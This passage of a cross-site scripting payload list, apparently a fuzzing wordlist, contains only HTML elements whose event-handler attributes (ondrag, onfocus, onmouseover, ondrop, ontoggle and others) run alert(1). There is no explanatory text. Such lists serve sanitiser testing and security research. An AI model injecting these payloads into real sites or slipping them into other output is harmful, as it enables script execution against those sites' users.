<datalist onkeydown="alert(1)" contenteditable>test</datalist>
<datalist onkeypress="alert(1)" contenteditable>test</datalist>
<datalist onkeyup="alert(1)" contenteditable>test</datalist>
<datalist onmousedown="alert(1)">test</datalist>
<datalist onmouseenter="alert(1)">test</datalist>
<datalist onmouseleave="alert(1)">test</datalist>
<datalist onmousemove="alert(1)">test</datalist>
<datalist onmouseout="alert(1)">test</datalist>
<datalist onmouseover="alert(1)">test</datalist>
<datalist onmouseup="alert(1)">test</datalist>
<datalist onpaste="alert(1)" contenteditable>test</datalist>
<dd draggable="true" ondrag="alert(1)">test</dd>
<dd draggable="true" ondragend="alert(1)">test</dd>
<dd draggable="true" ondragenter="alert(1)">test</dd>
<dd draggable="true" ondragleave="alert(1)">test</dd>
<dd draggable="true" ondragstart="alert(1)">test</dd>
<dd id=x tabindex=1 onactivate=alert(1)></dd>
<dd id=x tabindex=1 onbeforeactivate=alert(1)></dd>
<dd id=x tabindex=1 onbeforedeactivate=alert(1)></dd><input autofocus>
<dd id=x tabindex=1 ondeactivate=alert(1)></dd><input id=y autofocus>
<dd id=x tabindex=1 onfocus=alert(1)></dd>
<dd id=x tabindex=1 onfocusin=alert(1)></dd>
<dd onbeforecopy="alert(1)" contenteditable>test</dd>
<dd onbeforecut="alert(1)" contenteditable>test</dd>
<dd onbeforepaste="alert(1)" contenteditable>test</dd>
<dd onblur=alert(1) tabindex=1 id=x></dd><input autofocus>
<dd onclick="alert(1)">test</dd>
<dd oncontextmenu="alert(1)">test</dd>
<dd oncopy="alert(1)" contenteditable>test</dd>
<dd oncut="alert(1)" contenteditable>test</dd>
<dd ondblclick="alert(1)">test</dd>
<dd onfocusout=alert(1) tabindex=1 id=x></dd><input autofocus>
<dd onkeydown="alert(1)" contenteditable>test</dd>
<dd onkeypress="alert(1)" contenteditable>test</dd>
<dd onkeyup="alert(1)" contenteditable>test</dd>
<dd onmousedown="alert(1)">test</dd>
<dd onmouseenter="alert(1)">test</dd>
<dd onmouseleave="alert(1)">test</dd>
<dd onmousemove="alert(1)">test</dd>
<dd onmouseout="alert(1)">test</dd>
<dd onmouseover="alert(1)">test</dd>
<dd onmouseup="alert(1)">test</dd>
<dd onpaste="alert(1)" contenteditable>test</dd>
<del draggable="true" ondrag="alert(1)">test</del>
<del draggable="true" ondragend="alert(1)">test</del>
<del draggable="true" ondragenter="alert(1)">test</del>
<del draggable="true" ondragleave="alert(1)">test</del>
<del draggable="true" ondragstart="alert(1)">test</del>
<del id=x tabindex=1 onactivate=alert(1)></del>
<del id=x tabindex=1 onbeforeactivate=alert(1)></del>
<del id=x tabindex=1 onbeforedeactivate=alert(1)></del><input autofocus>
<del id=x tabindex=1 ondeactivate=alert(1)></del><input id=y autofocus>
<del id=x tabindex=1 onfocus=alert(1)></del>
<del id=x tabindex=1 onfocusin=alert(1)></del>
<del onbeforecopy="alert(1)" contenteditable>test</del>
<del onbeforecut="alert(1)" contenteditable>test</del>
<del onbeforepaste="alert(1)" contenteditable>test</del>
<del onblur=alert(1) tabindex=1 id=x></del><input autofocus>
<del onclick="alert(1)">test</del>
<del oncontextmenu="alert(1)">test</del>
<del oncopy="alert(1)" contenteditable>test</del>
<del oncut="alert(1)" contenteditable>test</del>
<del ondblclick="alert(1)">test</del>
<del onfocusout=alert(1) tabindex=1 id=x></del><input autofocus>
<del onkeydown="alert(1)" contenteditable>test</del>
<del onkeypress="alert(1)" contenteditable>test</del>
<del onkeyup="alert(1)" contenteditable>test</del>
<del onmousedown="alert(1)">test</del>
<del onmouseenter="alert(1)">test</del>
<del onmouseleave="alert(1)">test</del>
<del onmousemove="alert(1)">test</del>
<del onmouseout="alert(1)">test</del>
<del onmouseover="alert(1)">test</del>
<del onmouseup="alert(1)">test</del>
<del onpaste="alert(1)" contenteditable>test</del>
<details draggable="true" ondrag="alert(1)">test</details>
<details draggable="true" ondragend="alert(1)">test</details>
<details draggable="true" ondragenter="alert(1)">test</details>
<details draggable="true" ondragleave="alert(1)">test</details>
<details draggable="true" ondragstart="alert(1)">test</details>
<details id=x tabindex=1 onactivate=alert(1)></details>
<details id=x tabindex=1 onbeforeactivate=alert(1)></details>
<details id=x tabindex=1 onbeforedeactivate=alert(1)></details><input autofocus>
<details id=x tabindex=1 ondeactivate=alert(1)></details><input id=y autofocus>
<details id=x tabindex=1 onfocus=alert(1)></details>
<details id=x tabindex=1 onfocusin=alert(1)></details>
<details onbeforecopy="alert(1)" contenteditable>test</details>
<details onbeforecut="alert(1)" contenteditable>test</details>
<details onbeforepaste="alert(1)" contenteditable>test</details>
<details onblur=alert(1) tabindex=1 id=x></details><input autofocus>
<details onclick="alert(1)">test</details>
<details oncontextmenu="alert(1)">test</details>
<details oncopy="alert(1)" contenteditable>test</details>
<details oncut="alert(1)" contenteditable>test</details>
<details ondblclick="alert(1)">test</details>
<details onfocusout=alert(1) tabindex=1 id=x></details><input autofocus>
<details onkeydown="alert(1)" contenteditable>test</details>
<details onkeypress="alert(1)" contenteditable>test</details>
<details onkeyup="alert(1)" contenteditable>test</details>
<details onmousedown="alert(1)">test</details>
<details onmouseenter="alert(1)">test</details>
<details onmouseleave="alert(1)">test</details>
<details onmousemove="alert(1)">test</details>
<details onmouseout="alert(1)">test</details>
<details onmouseover="alert(1)">test</details>
<details onmouseup="alert(1)">test</details>
<details onpaste="alert(1)" contenteditable>test</details>
<details ontoggle=alert(1) open>test</details>
<dfn draggable="true" ondrag="alert(1)">test</dfn>
<dfn draggable="true" ondragend="alert(1)">test</dfn>
<dfn draggable="true" ondragenter="alert(1)">test</dfn>
<dfn draggable="true" ondragleave="alert(1)">test</dfn>
<dfn draggable="true" ondragstart="alert(1)">test</dfn>
<dfn id=x tabindex=1 onactivate=alert(1)></dfn>
<dfn id=x tabindex=1 onbeforeactivate=alert(1)></dfn>
<dfn id=x tabindex=1 onbeforedeactivate=alert(1)></dfn><input autofocus>
<dfn id=x tabindex=1 ondeactivate=alert(1)></dfn><input id=y autofocus>
<dfn id=x tabindex=1 onfocus=alert(1)></dfn>
<dfn id=x tabindex=1 onfocusin=alert(1)></dfn>
<dfn onbeforecopy="alert(1)" contenteditable>test</dfn>
<dfn onbeforecut="alert(1)" contenteditable>test</dfn>
<dfn onbeforepaste="alert(1)" contenteditable>test</dfn>
<dfn onblur=alert(1) tabindex=1 id=x></dfn><input autofocus>
<dfn onclick="alert(1)">test</dfn>
<dfn oncontextmenu="alert(1)">test</dfn>
<dfn oncopy="alert(1)" contenteditable>test</dfn>
<dfn oncut="alert(1)" contenteditable>test</dfn>
<dfn ondblclick="alert(1)">test</dfn>
<dfn onfocusout=alert(1) tabindex=1 id=x></dfn><input autofocus>
<dfn onkeydown="alert(1)" contenteditable>test</dfn>
<dfn onkeypress="alert(1)" contenteditable>test</dfn>
<dfn onkeyup="alert(1)" contenteditable>test</dfn>
<dfn onmousedown="alert(1)">test</dfn>
<dfn onmouseenter="alert(1)">test</dfn>
<dfn onmouseleave="alert(1)">test</dfn>
<dfn onmousemove="alert(1)">test</dfn>
<dfn onmouseout="alert(1)">test</dfn>
<dfn onmouseover="alert(1)">test</dfn>
<dfn onmouseup="alert(1)">test</dfn>
<dfn onpaste="alert(1)" contenteditable>test</dfn>
<dialog draggable="true" ondrag="alert(1)">test</dialog>
<dialog draggable="true" ondragend="alert(1)">test</dialog>
<dialog draggable="true" ondragenter="alert(1)">test</dialog>
<dialog draggable="true" ondragleave="alert(1)">test</dialog>
<dialog draggable="true" ondragstart="alert(1)">test</dialog>
<dialog id=x tabindex=1 onactivate=alert(1)></dialog>
<dialog id=x tabindex=1 onbeforeactivate=alert(1)></dialog>
<dialog id=x tabindex=1 onbeforedeactivate=alert(1)></dialog><input autofocus>
<dialog id=x tabindex=1 ondeactivate=alert(1)></dialog><input id=y autofocus>
<dialog id=x tabindex=1 onfocus=alert(1)></dialog>
<dialog id=x tabindex=1 onfocusin=alert(1)></dialog>
<dialog onbeforecopy="alert(1)" contenteditable>test</dialog>
<dialog onbeforecut="alert(1)" contenteditable>test</dialog>
<dialog onbeforepaste="alert(1)" contenteditable>test</dialog>
<dialog onblur=alert(1) tabindex=1 id=x></dialog><input autofocus>
<dialog onclick="alert(1)">test</dialog>
<dialog oncontextmenu="alert(1)">test</dialog>
<dialog oncopy="alert(1)" contenteditable>test</dialog>
<dialog oncut="alert(1)" contenteditable>test</dialog>
<dialog ondblclick="alert(1)">test</dialog>
<dialog onfocusout=alert(1) tabindex=1 id=x></dialog><input autofocus>
<dialog onkeydown="alert(1)" contenteditable>test</dialog>
<dialog onkeypress="alert(1)" contenteditable>test</dialog>
<dialog onkeyup="alert(1)" contenteditable>test</dialog>
<dialog onmousedown="alert(1)">test</dialog>
<dialog onmouseenter="alert(1)">test</dialog>
<dialog onmouseleave="alert(1)">test</dialog>
<dialog onmousemove="alert(1)">test</dialog>
<dialog onmouseout="alert(1)">test</dialog>
<dialog onmouseover="alert(1)">test</dialog>
<dialog onmouseup="alert(1)">test</dialog>
<dialog onpaste="alert(1)" contenteditable>test</dialog>
<dir draggable="true" ondrag="alert(1)">test</dir>
<dir draggable="true" ondragend="alert(1)">test</dir>
<dir draggable="true" ondragenter="alert(1)">test</dir>
<dir draggable="true" ondragleave="alert(1)">test</dir>
<dir draggable="true" ondragstart="alert(1)">test</dir>
<dir id=x tabindex=1 onactivate=alert(1)></dir>
<dir id=x tabindex=1 onbeforeactivate=alert(1)></dir>
<dir id=x tabindex=1 onbeforedeactivate=alert(1)></dir><input autofocus>
<dir id=x tabindex=1 ondeactivate=alert(1)></dir><input id=y autofocus>
<dir id=x tabindex=1 onfocus=alert(1)></dir>
<dir id=x tabindex=1 onfocusin=alert(1)></dir>
<dir onbeforecopy="alert(1)" contenteditable>test</dir>
<dir onbeforecut="alert(1)" contenteditable>test</dir>
<dir onbeforepaste="alert(1)" contenteditable>test</dir>
<dir onblur=alert(1) tabindex=1 id=x></dir><input autofocus>
<dir onclick="alert(1)">test</dir>
<dir oncontextmenu="alert(1)">test</dir>
<dir oncopy="alert(1)" contenteditable>test</dir>
<dir oncut="alert(1)" contenteditable>test</dir>
<dir ondblclick="alert(1)">test</dir>
<dir onfocusout=alert(1) tabindex=1 id=x></dir><input autofocus>
<dir onkeydown="alert(1)" contenteditable>test</dir>
<dir onkeypress="alert(1)" contenteditable>test</dir>
<dir onkeyup="alert(1)" contenteditable>test</dir>
<dir onmousedown="alert(1)">test</dir>
<dir onmouseenter="alert(1)">test</dir>
<dir onmouseleave="alert(1)">test</dir>
<dir onmousemove="alert(1)">test</dir>
<dir onmouseout="alert(1)">test</dir>
<dir onmouseover="alert(1)">test</dir>
<dir onmouseup="alert(1)">test</dir>
<dir onpaste="alert(1)" contenteditable>test</dir>
<div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a>
<div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a>
<div draggable="true" contenteditable>drag me</div><abbr ondragover=alert(1) contenteditable>drop here</abbr>
<div draggable="true" contenteditable>drag me</div><abbr ondrop=alert(1) contenteditable>drop here</abbr>
<div draggable="true" contenteditable>drag me</div><acronym ondragover=alert(1) contenteditable>drop here</acronym>
<div draggable="true" contenteditable>drag me</div><acronym ondrop=alert(1) contenteditable>drop here</acronym>
<div draggable="true" contenteditable>drag me</div><address ondragover=alert(1) contenteditable>drop here</address>
<div draggable="true" contenteditable>drag me</div><address ondrop=alert(1) contenteditable>drop here</address>
<div draggable="true" contenteditable>drag me</div><applet ondragover=alert(1) contenteditable>drop here</applet>
<div draggable="true" contenteditable>drag me</div><applet ondrop=alert(1) contenteditable>drop here</applet>
<div draggable="true" contenteditable>drag me</div><area ondragover=alert(1) contenteditable>drop here</area>
<div draggable="true" contenteditable>drag me</div><area ondrop=alert(1) contenteditable>drop here</area>
<div draggable="true" contenteditable>drag me</div><article ondragover=alert(1) contenteditable>drop here</article>
<div draggable="true" contenteditable>drag me</div><article ondrop=alert(1) contenteditable>drop here</article>
<div draggable="true" contenteditable>drag me</div><aside ondragover=alert(1) contenteditable>drop here</aside>
<div draggable="true" contenteditable>drag me</div><aside ondrop=alert(1) contenteditable>drop here</aside>
<div draggable="true" contenteditable>drag me</div><audio ondragover=alert(1) contenteditable>drop here</audio>
<div draggable="true" contenteditable>drag me</div><audio ondrop=alert(1) contenteditable>drop here</audio>
<div draggable="true" contenteditable>drag me</div><b ondragover=alert(1) contenteditable>drop here</b>
<div draggable="true" contenteditable>drag me</div><b ondrop=alert(1) contenteditable>drop here</b>
<div draggable="true" contenteditable>drag me</div><base ondragover=alert(1) contenteditable>drop here</base>
<div draggable="true" contenteditable>drag me</div><base ondrop=alert(1) contenteditable>drop here</base>
<div draggable="true" contenteditable>drag me</div><basefont ondragover=alert(1) contenteditable>drop here</basefont>
<div draggable="true" contenteditable>drag me</div><basefont ondrop=alert(1) contenteditable>drop here</basefont>
<div draggable="true" contenteditable>drag me</div><bdi ondragover=alert(1) contenteditable>drop here</bdi>
<div draggable="true" contenteditable>drag me</div><bdi ondrop=alert(1) contenteditable>drop here</bdi>
<div draggable="true" contenteditable>drag me</div><bdo ondragover=alert(1) contenteditable>drop here</bdo>
<div draggable="true" contenteditable>drag me</div><bdo ondrop=alert(1) contenteditable>drop here</bdo>
<div draggable="true" contenteditable>drag me</div><bgsound ondragover=alert(1) contenteditable>drop here</bgsound>
<div draggable="true" contenteditable>drag me</div><bgsound ondrop=alert(1) contenteditable>drop here</bgsound>
<div draggable="true" contenteditable>drag me</div><big ondragover=alert(1) contenteditable>drop here</big>
<div draggable="true" contenteditable>drag me</div><big ondrop=alert(1) contenteditable>drop here</big>
<div draggable="true" contenteditable>drag me</div><blink ondragover=alert(1) contenteditable>drop here</blink>
<div draggable="true" contenteditable>drag me</div><blink ondrop=alert(1) contenteditable>drop here</blink>
<div draggable="true" contenteditable>drag me</div><blockquote ondragover=alert(1) contenteditable>drop here</blockquote>
<div draggable="true" contenteditable>drag me</div><blockquote ondrop=alert(1) contenteditable>drop here</blockquote>
<div draggable="true" contenteditable>drag me</div><body ondragover=alert(1) contenteditable>drop here</body>
<div draggable="true" contenteditable>drag me</div><body ondrop=alert(1) contenteditable>drop here</body>
<div draggable="true" contenteditable>drag me</div><br ondragover=alert(1) contenteditable>drop here</br>
<div draggable="true" contenteditable>drag me</div><br ondrop=alert(1) contenteditable>drop here</br>
<div draggable="true" contenteditable>drag me</div><button ondragover=alert(1) contenteditable>drop here</button>
<div draggable="true" contenteditable>drag me</div><button ondrop=alert(1) contenteditable>drop here</button>
<div draggable="true" contenteditable>drag me</div><canvas ondragover=alert(1) contenteditable>drop here</canvas>
<div draggable="true" contenteditable>drag me</div><canvas ondrop=alert(1) contenteditable>drop here</canvas>
<div draggable="true" contenteditable>drag me</div><caption ondragover=alert(1) contenteditable>drop here</caption>
<div draggable="true" contenteditable>drag me</div><caption ondrop=alert(1) contenteditable>drop here</caption>
<div draggable="true" contenteditable>drag me</div><center ondragover=alert(1) contenteditable>drop here</center>
<div draggable="true" contenteditable>drag me</div><center ondrop=alert(1) contenteditable>drop here</center>
<div draggable="true" contenteditable>drag me</div><cite ondragover=alert(1) contenteditable>drop here</cite>
<div draggable="true" contenteditable>drag me</div><cite ondrop=alert(1) contenteditable>drop here</cite>
<div draggable="true" contenteditable>drag me</div><code ondragover=alert(1) contenteditable>drop here</code>
<div draggable="true" contenteditable>drag me</div><code ondrop=alert(1) contenteditable>drop here</code>
<div draggable="true" contenteditable>drag me</div><col ondragover=alert(1) contenteditable>drop here</col>
<div draggable="true" contenteditable>drag me</div><col ondrop=alert(1) contenteditable>drop here</col>
<div draggable="true" contenteditable>drag me</div><colgroup ondragover=alert(1) contenteditable>drop here</colgroup>
<div draggable="true" contenteditable>drag me</div><colgroup ondrop=alert(1) contenteditable>drop here</colgroup>
<div draggable="true" contenteditable>drag me</div><command ondragover=alert(1) contenteditable>drop here</command>
<div draggable="true" contenteditable>drag me</div><command ondrop=alert(1) contenteditable>drop here</command>
<div draggable="true" contenteditable>drag me</div><content ondragover=alert(1) contenteditable>drop here</content>
<div draggable="true" contenteditable>drag me</div><content ondrop=alert(1) contenteditable>drop here</content>
<div draggable="true" contenteditable>drag me</div><data ondragover=alert(1) contenteditable>drop here</data>
<div draggable="true" contenteditable>drag me</div><data ondrop=alert(1) contenteditable>drop here</data>
<div draggable="true" contenteditable>drag me</div><datalist ondragover=alert(1) contenteditable>drop here</datalist>
<div draggable="true" contenteditable>drag me</div><datalist ondrop=alert(1) contenteditable>drop here</datalist>
<div draggable="true" contenteditable>drag me</div><dd ondragover=alert(1) contenteditable>drop here</dd>
<div draggable="true" contenteditable>drag me</div><dd ondrop=alert(1) contenteditable>drop here</dd>
<div draggable="true" contenteditable>drag me</div><del ondragover=alert(1) contenteditable>drop here</del>
<div draggable="true" contenteditable>drag me</div><del ondrop=alert(1) contenteditable>drop here</del>
<div draggable="true" contenteditable>drag me</div><details ondragover=alert(1) contenteditable>drop here</details>
<div draggable="true" contenteditable>drag me</div><details ondrop=alert(1) contenteditable>drop here</details>
<div draggable="true" contenteditable>drag me</div><dfn ondragover=alert(1) contenteditable>drop here</dfn>
<div draggable="true" contenteditable>drag me</div><dfn ondrop=alert(1) contenteditable>drop here</dfn>
<div draggable="true" contenteditable>drag me</div><dialog ondragover=alert(1) contenteditable>drop here</dialog>
<div draggable="true" contenteditable>drag me</div><dialog ondrop=alert(1) contenteditable>drop here</dialog>
<div draggable="true" contenteditable>drag me</div><dir ondragover=alert(1) contenteditable>drop here</dir>
<div draggable="true" contenteditable>drag me</div><dir ondrop=alert(1) contenteditable>drop here</dir>
<div draggable="true" contenteditable>drag me</div><div ondragover=alert(1) contenteditable>drop here</div>
<div draggable="true" contenteditable>drag me</div><div ondrop=alert(1) contenteditable>drop here</div>
<div draggable="true" contenteditable>drag me</div><dl ondragover=alert(1) contenteditable>drop here</dl>
<div draggable="true" contenteditable>drag me</div><dl ondrop=alert(1) contenteditable>drop here</dl>
<div draggable="true" contenteditable>drag me</div><dt ondragover=alert(1) contenteditable>drop here</dt>
<div draggable="true" contenteditable>drag me</div><dt ondrop=alert(1) contenteditable>drop here</dt>
<div draggable="true" contenteditable>drag me</div><element ondragover=alert(1) contenteditable>drop here</element>
<div draggable="true" contenteditable>drag me</div><element ondrop=alert(1) contenteditable>drop here</element>
<div draggable="true" contenteditable>drag me</div><em ondragover=alert(1) contenteditable>drop here</em>
<div draggable="true" contenteditable>drag me</div><em ondrop=alert(1) contenteditable>drop here</em>
<div draggable="true" contenteditable>drag me</div><embed ondragover=alert(1) contenteditable>drop here</embed>
<div draggable="true" contenteditable>drag me</div><embed ondrop=alert(1) contenteditable>drop here</embed>
<div draggable="true" contenteditable>drag me</div><fieldset ondragover=alert(1) contenteditable>drop here</fieldset>
<div draggable="true" contenteditable>drag me</div><fieldset ondrop=alert(1) contenteditable>drop here</fieldset>
<div draggable="true" contenteditable>drag me</div><figcaption ondragover=alert(1) contenteditable>drop here</figcaption>
<div draggable="true" contenteditable>drag me</div><figcaption ondrop=alert(1) contenteditable>drop here</figcaption>
<div draggable="true" contenteditable>drag me</div><figure ondragover=alert(1) contenteditable>drop here</figure>
<div draggable="true" contenteditable>drag me</div><figure ondrop=alert(1) contenteditable>drop here</figure>
<div draggable="true" contenteditable>drag me</div><font ondragover=alert(1) contenteditable>drop here</font>
<div draggable="true" contenteditable>drag me</div><font ondrop=alert(1) contenteditable>drop here</font>
<div draggable="true" contenteditable>drag me</div><footer ondragover=alert(1) contenteditable>drop here</footer>
<div draggable="true" contenteditable>drag me</div><footer ondrop=alert(1) contenteditable>drop here</footer>
<div draggable="true" contenteditable>drag me</div><form ondragover=alert(1) contenteditable>drop here</form>
<div draggable="true" contenteditable>drag me</div><form ondrop=alert(1) contenteditable>drop here</form>
<div draggable="true" contenteditable>drag me</div><frame ondragover=alert(1) contenteditable>drop here</frame>
<div draggable="true" contenteditable>drag me</div><frame ondrop=alert(1) contenteditable>drop here</frame>
<div draggable="true" contenteditable>drag me</div><frameset ondragover=alert(1) contenteditable>drop here</frameset>
<div draggable="true" contenteditable>drag me</div><frameset ondrop=alert(1) contenteditable>drop here</frameset>
<div draggable="true" contenteditable>drag me</div><h1 ondragover=alert(1) contenteditable>drop here</h1>
<div draggable="true" contenteditable>drag me</div><h1 ondrop=alert(1) contenteditable>drop here</h1>
<div draggable="true" contenteditable>drag me</div><head ondragover=alert(1) contenteditable>drop here</head>
<div draggable="true" contenteditable>drag me</div><head ondrop=alert(1) contenteditable>drop here</head>
<div draggable="true" contenteditable>drag me</div><header ondragover=alert(1) contenteditable>drop here</header>
<div draggable="true" contenteditable>drag me</div><header ondrop=alert(1) contenteditable>drop here</header>
<div draggable="true" contenteditable>drag me</div><hgroup ondragover=alert(1) contenteditable>drop here</hgroup>
<div draggable="true" contenteditable>drag me</div><hgroup ondrop=alert(1) contenteditable>drop here</hgroup>
<div draggable="true" contenteditable>drag me</div><hr ondragover=alert(1) contenteditable>drop here</hr>
<div draggable="true" contenteditable>drag me</div><hr ondrop=alert(1) contenteditable>drop here</hr>
<div draggable="true" contenteditable>drag me</div><html ondragover=alert(1) contenteditable>drop here</html>
<div draggable="true" contenteditable>drag me</div><html ondrop=alert(1) contenteditable>drop here</html>
<div draggable="true" contenteditable>drag me</div><i ondragover=alert(1) contenteditable>drop here</i>
<div draggable="true" contenteditable>drag me</div><i ondrop=alert(1) contenteditable>drop here</i>
<div draggable="true" contenteditable>drag me</div><iframe ondragover=alert(1) contenteditable>drop here</iframe>
<div draggable="true" contenteditable>drag me</div><iframe ondrop=alert(1) contenteditable>drop here</iframe>
<div draggable="true" contenteditable>drag me</div><image ondragover=alert(1) contenteditable>drop here</image>
<div draggable="true" contenteditable>drag me</div><image ondrop=alert(1) contenteditable>drop here</image>
<div draggable="true" contenteditable>drag me</div><img ondragover=alert(1) contenteditable>drop here</img>
<div draggable="true" contenteditable>drag me</div><img ondrop=alert(1) contenteditable>drop here</img>
<div draggable="true" contenteditable>drag me</div><input ondragover=alert(1) contenteditable>drop here</input>
<div draggable="true" contenteditable>drag me</div><input ondrop=alert(1) contenteditable>drop here</input>
<div draggable="true" contenteditable>drag me</div><ins ondragover=alert(1) contenteditable>drop here</ins>
<div draggable="true" contenteditable>drag me</div><ins ondrop=alert(1) contenteditable>drop here</ins>
<div draggable="true" contenteditable>drag me</div><isindex ondragover=alert(1) contenteditable>drop here</isindex>
<div draggable="true" contenteditable>drag me</div><isindex ondrop=alert(1) contenteditable>drop here</isindex>
<div draggable="true" contenteditable>drag me</div><kbd ondragover=alert(1) contenteditable>drop here</kbd>
<div draggable="true" contenteditable>drag me</div><kbd ondrop=alert(1) contenteditable>drop here</kbd>
<div draggable="true" contenteditable>drag me</div><keygen ondragover=alert(1) contenteditable>drop here</keygen>
<div draggable="true" contenteditable>drag me</div><keygen ondrop=alert(1) contenteditable>drop here</keygen>
<div draggable="true" contenteditable>drag me</div><label ondragover=alert(1) contenteditable>drop here</label>
<div draggable="true" contenteditable>drag me</div><label ondrop=alert(1) contenteditable>drop here</label>
<div draggable="true" contenteditable>drag me</div><legend ondragover=alert(1) contenteditable>drop here</legend>
<div draggable="true" contenteditable>drag me</div><legend ondrop=alert(1) contenteditable>drop here</legend>
<div draggable="true" contenteditable>drag me</div><li ondragover=alert(1) contenteditable>drop here</li>
<div draggable="true" contenteditable>drag me</div><li ondrop=alert(1) contenteditable>drop here</li>
<div draggable="true" contenteditable>drag me</div><link ondragover=alert(1) contenteditable>drop here</link>
<div draggable="true" contenteditable>drag me</div><link ondrop=alert(1) contenteditable>drop here</link>
<div draggable="true" contenteditable>drag me</div><listing ondragover=alert(1) contenteditable>drop here</listing>
<div draggable="true" contenteditable>drag me</div><listing ondrop=alert(1) contenteditable>drop here</listing>
<div draggable="true" contenteditable>drag me</div><main ondragover=alert(1) contenteditable>drop here</main>
<div draggable="true" contenteditable>drag me</div><main ondrop=alert(1) contenteditable>drop here</main>
<div draggable="true" contenteditable>drag me</div><map ondragover=alert(1) contenteditable>drop here</map>
<div draggable="true" contenteditable>drag me</div><map ondrop=alert(1) contenteditable>drop here</map>
<div draggable="true" contenteditable>drag me</div><mark ondragover=alert(1) contenteditable>drop here</mark>
<div draggable="true" contenteditable>drag me</div><mark ondrop=alert(1) contenteditable>drop here</mark>
<div draggable="true" contenteditable>drag me</div><marquee ondragover=alert(1) contenteditable>drop here</marquee>
<div draggable="true" contenteditable>drag me</div><marquee ondrop=alert(1) contenteditable>drop here</marquee>
<div draggable="true" contenteditable>drag me</div><menu ondragover=alert(1) contenteditable>drop here</menu>
<div draggable="true" contenteditable>drag me</div><menu ondrop=alert(1) contenteditable>drop here</menu>
<div draggable="true" contenteditable>drag me</div><menuitem ondragover=alert(1) contenteditable>drop here</menuitem>
<div draggable="true" contenteditable>drag me</div><menuitem ondrop=alert(1) contenteditable>drop here</menuitem>
<div draggable="true" contenteditable>drag me</div><meta ondragover=alert(1) contenteditable>drop here</meta>
<div draggable="true" contenteditable>drag me</div><meta ondrop=alert(1) contenteditable>drop here</meta>
<div draggable="true" contenteditable>drag me</div><meter ondragover=alert(1) contenteditable>drop here</meter>
<div draggable="true" contenteditable>drag me</div><meter ondrop=alert(1) contenteditable>drop here</meter>
<div draggable="true" contenteditable>drag me</div><multicol ondragover=alert(1) contenteditable>drop here</multicol>
<div draggable="true" contenteditable>drag me</div><multicol ondrop=alert(1) contenteditable>drop here</multicol>
<div draggable="true" contenteditable>drag me</div><nav ondragover=alert(1) contenteditable>drop here</nav>
<div draggable="true" contenteditable>drag me</div><nav ondrop=alert(1) contenteditable>drop here</nav>
<div draggable="true" contenteditable>drag me</div><nextid ondragover=alert(1) contenteditable>drop here</nextid>
<div draggable="true" contenteditable>drag me</div><nextid ondrop=alert(1) contenteditable>drop here</nextid>
<div draggable="true" contenteditable>drag me</div><nobr ondragover=alert(1) contenteditable>drop here</nobr>
<div draggable="true" contenteditable>drag me</div><nobr ondrop=alert(1) contenteditable>drop here</nobr>
<div draggable="true" contenteditable>drag me</div><noembed ondragover=alert(1) contenteditable>drop here</noembed>
<div draggable="true" contenteditable>drag me</div><noembed ondrop=alert(1) contenteditable>drop here</noembed>
<div draggable="true" contenteditable>drag me</div><noframes ondragover=alert(1) contenteditable>drop here</noframes>
<div draggable="true" contenteditable>drag me</div><noframes ondrop=alert(1) contenteditable>drop here</noframes>
<div draggable="true" contenteditable>drag me</div><noscript ondragover=alert(1) contenteditable>drop here</noscript>
<div draggable="true" contenteditable>drag me</div><noscript ondrop=alert(1) contenteditable>drop here</noscript>
<div draggable="true" contenteditable>drag me</div><object ondragover=alert(1) contenteditable>drop here</object>
<div draggable="true" contenteditable>drag me</div><object ondrop=alert(1) contenteditable>drop here</object>
<div draggable="true" contenteditable>drag me</div><ol ondragover=alert(1) contenteditable>drop here</ol>
<div draggable="true" contenteditable>drag me</div><ol ondrop=alert(1) contenteditable>drop here</ol>
<div draggable="true" contenteditable>drag me</div><optgroup ondragover=alert(1) contenteditable>drop here</optgroup>
<div draggable="true" contenteditable>drag me</div><optgroup ondrop=alert(1) contenteditable>drop here</optgroup>
<div draggable="true" contenteditable>drag me</div><option ondragover=alert(1) contenteditable>drop here</option>
<div draggable="true" contenteditable>drag me</div><option ondrop=alert(1) contenteditable>drop here</option>
<div draggable="true" contenteditable>drag me</div><output ondragover=alert(1) contenteditable>drop here</output>
<div draggable="true" contenteditable>drag me</div><output ondrop=alert(1) contenteditable>drop here</output>
<div draggable="true" contenteditable>drag me</div><p ondragover=alert(1) contenteditable>drop here</p>
<div draggable="true" contenteditable>drag me</div><p ondrop=alert(1) contenteditable>drop here</p>
<div draggable="true" contenteditable>drag me</div><param ondragover=alert(1) contenteditable>drop here</param>
<div draggable="true" contenteditable>drag me</div><param ondrop=alert(1) contenteditable>drop here</param>
<div draggable="true" contenteditable>drag me</div><picture ondragover=alert(1) contenteditable>drop here</picture>
<div draggable="true" contenteditable>drag me</div><picture ondrop=alert(1) contenteditable>drop here</picture>
<div draggable="true" contenteditable>drag me</div><plaintext ondragover=alert(1) contenteditable>drop here</plaintext>
<div draggable="true" contenteditable>drag me</div><plaintext ondrop=alert(1) contenteditable>drop here</plaintext>
<div draggable="true" contenteditable>drag me</div><pre ondragover=alert(1) contenteditable>drop here</pre>
<div draggable="true" contenteditable>drag me</div><pre ondrop=alert(1) contenteditable>drop here</pre>
<div draggable="true" contenteditable>drag me</div><progress ondragover=alert(1) contenteditable>drop here</progress>
<div draggable="true" contenteditable>drag me</div><progress ondrop=alert(1) contenteditable>drop here</progress>
<div draggable="true" contenteditable>drag me</div><q ondragover=alert(1) contenteditable>drop here</q>
<div draggable="true" contenteditable>drag me</div><q ondrop=alert(1) contenteditable>drop here</q>
<div draggable="true" contenteditable>drag me</div><rb ondragover=alert(1) contenteditable>drop here</rb>
<div draggable="true" contenteditable>drag me</div><rb ondrop=alert(1) contenteditable>drop here</rb>
<div draggable="true" contenteditable>drag me</div><rp ondragover=alert(1) contenteditable>drop here</rp>
<div draggable="true" contenteditable>drag me</div><rp ondrop=alert(1) contenteditable>drop here</rp>
<div draggable="true" contenteditable>drag me</div><rt ondragover=alert(1) contenteditable>drop here</rt>
<div draggable="true" contenteditable>drag me</div><rt ondrop=alert(1) contenteditable>drop here</rt>
<div draggable="true" contenteditable>drag me</div><rtc ondragover=alert(1) contenteditable>drop here</rtc>
<div draggable="true" contenteditable>drag me</div><rtc ondrop=alert(1) contenteditable>drop here</rtc>
<div draggable="true" contenteditable>drag me</div><ruby ondragover=alert(1) contenteditable>drop here</ruby>
<div draggable="true" contenteditable>drag me</div><ruby ondrop=alert(1) contenteditable>drop here</ruby>
